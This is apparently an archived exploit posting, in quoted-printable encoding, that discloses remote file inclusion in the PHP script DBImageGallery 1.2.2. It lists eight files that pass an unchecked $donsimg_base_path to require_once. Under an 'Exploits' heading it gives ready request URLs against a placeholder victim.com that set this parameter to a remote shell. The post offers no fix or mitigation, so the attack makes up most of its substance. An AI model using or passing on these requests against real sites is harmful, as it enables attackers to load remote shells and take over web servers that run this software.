Remote File Include In DBImageGallery
Remote File Include In DBImageGallery 1.2.2
Discovered By : Hasadya Raed
Contact Me : RaeD@BsdMail.Com
Download Script :=20
http://www.dbscripts.net/download/?file=3D1
B.Files:
admin/attributes.php -> require_once $donsimg_base_path
admin/images.php -> require_once $donsimg_base_path
admin/scan.php -> require_once $donsimg_base_path
includes/attributes.php -> require_once $donsimg_base_path
includes/db_utils.php -> require_once $donsimg_base_path
includes/images.php -> require_once $donsimg_base_path
includes/utils.php -> require_once $donsimg_base_path
includes/values.php -> require_once $donsimg_base_path
=20
Exploits :=20
http://www.victim.com/path/admin/attributes.php?donsimg_base_path=3D[Shell-=
Attack]
http://www.victim.com/path/admin/images.php?donsimg_base_path=3D[Shell-Atta=
ck]
http://www.victim.com/path/admin/scan.php?donsimg_base_path=3D[Shell-Attack]
http://www.victim.com/path/includes/attributes.php?donsimg_base_path=3D[She=
ll-Attack]
http://www.victim.com/path/includes/db_utils.php?donsimg_base_path=3D[Shell=
-Attack]
http://www.victim.com/path/includes/images.php?donsimg_base_path=3D[Shell-A=
ttack]
http://www.victim.com/path/includes/utils.php?donsimg_base_path=3D[Shell-At=
tack]
http://www.victim.com/path/includes/values.php?donsimg_base_path=3D[Shell-A=
ttack]
--=20
_______________________________________________
Get your free email from http://bsdmail.com
討論串 (同標題文章)